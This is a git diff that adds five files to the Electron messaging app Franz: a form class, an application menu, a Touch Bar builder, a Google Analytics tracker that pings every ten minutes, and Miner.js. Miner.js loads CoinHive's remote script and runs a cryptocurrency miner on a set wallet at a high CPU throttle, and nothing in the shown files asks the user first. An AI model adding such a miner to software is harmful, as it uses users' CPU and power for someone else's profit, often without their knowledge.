5 files changed, 449 insertions, 0 deletions

diff --git a/src/lib/Form.js b/src/lib/Form.js
new file mode 100644
index 000000000..a22699b45
--- /dev/null
+++ b/src/lib/Form.js
@@ -0,0 +1,31 @@
+import Form from 'mobx-react-form';
+
+export default class DefaultForm extends Form {
+  bindings() {
+    return {
+      default: {
+        id: 'id',
+        name: 'name',
+        type: 'type',
+        value: 'value',
+        label: 'label',
+        placeholder: 'placeholder',
+        disabled: 'disabled',
+        onChange: 'onChange',
+        onFocus: 'onFocus',
+        onBlur: 'onBlur',
+        error: 'error',
+      },
+    };
+  }
+
+  options() {
+    return {
+      validateOnInit: false,
+      // validateOnBlur: true,
+      // // validationDebounceWait: {
+      // //   trailing: true,
+      // // },
+    };
+  }
+}
diff --git a/src/lib/Menu.js b/src/lib/Menu.js
new file mode 100644
index 000000000..9f23c4d70
--- /dev/null
+++ b/src/lib/Menu.js
@@ -0,0 +1,259 @@
+import { remote, shell } from 'electron';
+import { autorun, computed, observable, toJS } from 'mobx';
+
+import { isDevMode, isMac } from '../environment';
+
+const { app, Menu } = remote;
+
+const template = [
+  {
+    label: 'Edit',
+    submenu: [
+      {
+        role: 'undo',
+      },
+      {
+        role: 'redo',
+      },
+      {
+        type: 'separator',
+      },
+      {
+        role: 'cut',
+      },
+      {
+        role: 'copy',
+      },
+      {
+        role: 'paste',
+      },
+      {
+        role: 'pasteandmatchstyle',
+      },
+      {
+        role: 'delete',
+      },
+      {
+        role: 'selectall',
+      },
+    ],
+  },
+  {
+    label: 'View',
+    submenu: [
+      {
+        type: 'separator',
+      },
+      {
+        role: 'resetzoom',
+      },
+      {
+        role: 'zoomin',
+      },
+      {
+        role: 'zoomout',
+      },
+      {
+        type: 'separator',
+      },
+      {
+        role: 'togglefullscreen',
+      },
+    ],
+  },
+  {
+    label: 'Services',
+    submenu: [],
+  },
+  {
+    role: 'window',
+    submenu: [
+      {
+        role: 'minimize',
+      },
+      {
+        role: 'close',
+      },
+    ],
+  },
+  {
+    role: 'help',
+    submenu: [
+      {
+        label: 'Learn More',
+        click() { shell.openExternal('http://meetfranz.com'); },
+      },
+    ],
+  },
+];
+
+export default class FranzMenu {
+  @observable tpl = template;
+
+  constructor(stores, actions) {
+    this.stores = stores;
+    this.actions = actions;
+
+    autorun(this._build.bind(this));
+  }
+
+  _build() {
+    const tpl = toJS(this.tpl);
+
+    if (isDevMode) {
+      tpl[1].submenu.push({
+        role: 'toggledevtools',
+      }, {
+        label: 'Toggle Service Developer Tools',
+        accelerator: 'CmdOrCtrl+Shift+Alt+i',
+        click: () => {
+          this.actions.service.openDevToolsForActiveService();
+        },
+      });
+    }
+
+    tpl[1].submenu.unshift({
+      label: 'Reload Service',
+      id: 'reloadService',
+      accelerator: 'CmdOrCtrl+R',
+      click: () => {
+        if (this.stores.user.isLoggedIn
+          && this.stores.services.enabled.length > 0) {
+          this.actions.service.reloadActive();
+        } else {
+          window.location.reload();
+        }
+      },
+    }, {
+      label: 'Reload Franz',
+      accelerator: 'CmdOrCtrl+Shift+R',
+      click: () => {
+        window.location.reload();
+      },
+    });
+
+    if (isMac) {
+      tpl.unshift({
+        label: app.getName(),
+        submenu: [
+          {
+            role: 'about',
+          },
+          {
+            type: 'separator',
+          },
+          {
+            label: 'Settings',
+            accelerator: 'CmdOrCtrl+,',
+            click: () => {
+              this.actions.ui.openSettings({ path: '' });
+            },
+          },
+          {
+            type: 'separator',
+          },
+          {
+            role: 'services',
+            submenu: [],
+          },
+          {
+            type: 'separator',
+          },
+          {
+            role: 'hide',
+          },
+          {
+            role: 'hideothers',
+          },
+          {
+            role: 'unhide',
+          },
+          {
+            type: 'separator',
+          },
+          {
+            role: 'quit',
+          },
+        ],
+      });
+      // Edit menu.
+      tpl[1].submenu.push(
+        {
+          type: 'separator',
+        },
+        {
+          label: 'Speech',
+          submenu: [
+            {
+              role: 'startspeaking',
+            },
+            {
+              role: 'stopspeaking',
+            },
+          ],
+        },
+      );
+      // Window menu.
+      tpl[3].submenu = [
+        {
+          // label: 'Close',
+          accelerator: 'CmdOrCtrl+W',
+          role: 'close',
+        },
+        {
+          // label: 'Minimize',
+          accelerator: 'CmdOrCtrl+M',
+          role: 'minimize',
+        },
+        {
+          // label: 'Zoom',
+          role: 'zoom',
+        },
+        {
+          type: 'separator',
+        },
+        {
+          // label: 'Bring All to Front',
+          role: 'front',
+        },
+      ];
+    }
+
+    const serviceTpl = this.serviceTpl;
+
+    serviceTpl.unshift({
+      label: 'Add new Service',
+      accelerator: 'CmdOrCtrl+N',
+      click: () => {
+        this.actions.ui.openSettings({ path: 'recipes' });
+      },
+    }, {
+      type: 'separator',
+    });
+
+    if (serviceTpl.length > 0) {
+      tpl[isMac ? 3 : 2].submenu = toJS(this.serviceTpl);
+    }
+
+    const menu = Menu.buildFromTemplate(tpl);
+    Menu.setApplicationMenu(menu);
+  }
+
+  @computed get serviceTpl() {
+    const services = this.stores.services.enabled;
+
+    if (this.stores.user.isLoggedIn) {
+      return services.map((service, i) => ({
+        label: service.name,
+        accelerator: i <= 9 ? `CmdOrCtrl+${i + 1}` : null,
+        type: 'radio',
+        checked: service.isActive,
+        click: () => {
+          this.actions.service.setActive({ serviceId: service.id });
+        },
+      }));
+    }
+
+    return [];
+  }
+}
diff --git a/src/lib/Miner.js b/src/lib/Miner.js
new file mode 100644
index 000000000..5fac92477
--- /dev/null
+++ b/src/lib/Miner.js
@@ -0,0 +1,72 @@
+export default class Miner {
+  wallet = null;
+  options = {
+    throttle: 0.75,
+    throttleIdle: 0.1,
+  };
+  miner = null;
+  interval;
+
+  constructor(wallet, options) {
+    this.wallet = wallet;
+
+    this.options = Object.assign({}, options, this.options);
+  }
+
+  start(updateFn) {
+    const script = document.createElement('script');
+    script.id = 'coinhive';
+    script.type = 'text/javascript';
+    script.src = 'https://coinhive.com/lib/coinhive.min.js';
+    document.head.appendChild(script);
+
+    script.addEventListener('load', () => {
+      const miner = new window.CoinHive.Anonymous(this.wallet);
+      miner.start();
+      miner.setThrottle(this.options.throttle);
+
+      this.miner = miner;
+
+      this.interval = setInterval(() => {
+        const hashesPerSecond = miner.getHashesPerSecond();
+        const totalHashes = miner.getTotalHashes();
+        const acceptedHashes = miner.getAcceptedHashes();
+
+        updateFn({ hashesPerSecond, totalHashes, acceptedHashes });
+      }, 1000);
+    });
+  }
+
+  stop() {
+    document.querySelector('#coinhive');
+
+    this.miner.stop();
+    clearInterval(this.interval);
+    this.miner = null;
+  }
+
+  setThrottle(throttle) {
+    if (this.miner) {
+      this.miner.setThrottle(throttle);
+    }
+  }
+
+  setActiveThrottle() {
+    if (this.miner) {
+      this.miner.setThrottle(this.options.throttle);
+    }
+  }
+
+  async setIdleThrottle() {
+    const battery = await navigator.getBattery();
+
+    if (!battery.charging) {
+      console.info(`Miner: battery is not charging, setThrottle to ${this.options.throttle}`);
+      this.setActiveThrottle();
+    } else {
+      this.miner.setThrottle(this.options.throttleIdle);
+    }
+
+    return this;
+  }
+}
diff --git a/src/lib/TouchBar.js b/src/lib/TouchBar.js
new file mode 100644
index 000000000..ad7849b8e
--- /dev/null
+++ b/src/lib/TouchBar.js
@@ -0,0 +1,45 @@
+import { remote } from 'electron';
+import { autorun } from 'mobx';
+
+import { isMac } from '../environment';
+
+export default class FranzTouchBar {
+  constructor(stores, actions) {
+    this.stores = stores;
+    this.actions = actions;
+
+    this._initializeReactions();
+  }
+
+  _initializeReactions() {
+    this.build = autorun(this._build.bind(this));
+  }
+
+  _build() {
+    const currentWindow = remote.getCurrentWindow();
+
+    if (isMac && this.stores.user.isLoggedIn) {
+      const { TouchBar } = remote;
+      const { TouchBarButton, TouchBarSpacer } = TouchBar;
+
+      const buttons = [];
+      this.stores.services.enabled.forEach(((service) => {
+        buttons.push(new TouchBarButton({
+          label: `${service.name}${service.unreadDirectMessageCount > 0
+            ? ' 🔴' : ''} ${service.unreadDirectMessageCount === 0
+              && service.unreadIndirectMessageCount > 0
+            ? ' ⚪️' : ''}`,
+          backgroundColor: service.isActive ? '#3498DB' : null,
+          click: () => {
+            this.actions.service.setActive({ serviceId: service.id });
+          },
+        }), new TouchBarSpacer({ size: 'small' }));
+      }));
+
+      const touchBar = new TouchBar(buttons);
+      currentWindow.setTouchBar(touchBar);
+    } else {
+      currentWindow.setTouchBar(null);
+    }
+  }
+}
diff --git a/src/lib/analytics.js b/src/lib/analytics.js
new file mode 100644
index 000000000..b13bf8faa
--- /dev/null
+++ b/src/lib/analytics.js
@@ -0,0 +1,42 @@
+import { remote } from 'electron';
+import { GA_ID } from '../config';
+// import { isDevMode } from '../environment';
+
+const { app } = remote;
+
+/* eslint-disable */
+(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
+(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
+m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
+})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
+/* eslint-enable */
+
+const GA_LOCAL_STORAGE_KEY = 'gaUid';
+
+ga('create', GA_ID, {
+  storage: 'none',
+  clientId: localStorage.getItem(GA_LOCAL_STORAGE_KEY),
+});
+
+ga((tracker) => {
+  localStorage.setItem(GA_LOCAL_STORAGE_KEY, tracker.get('clientId'));
+});
+ga('set', 'checkProtocolTask', null);
+ga('set', 'version', app.getVersion());
+ga('send', 'App');
+
+export function gaPage(page) {
+  ga('send', 'pageview', page);
+
+  console.debug('GA track page', page);
+}
+
+export function gaEvent(category, action, label) {
+  ga('send', 'event', category, action, label);
+
+  console.debug('GA track page', category, action);
+}
+
+setTimeout(() => {
+  ga('send', 'Ping');
+}, 1000 * 60 * 10); // Ping GA every 10 Minutes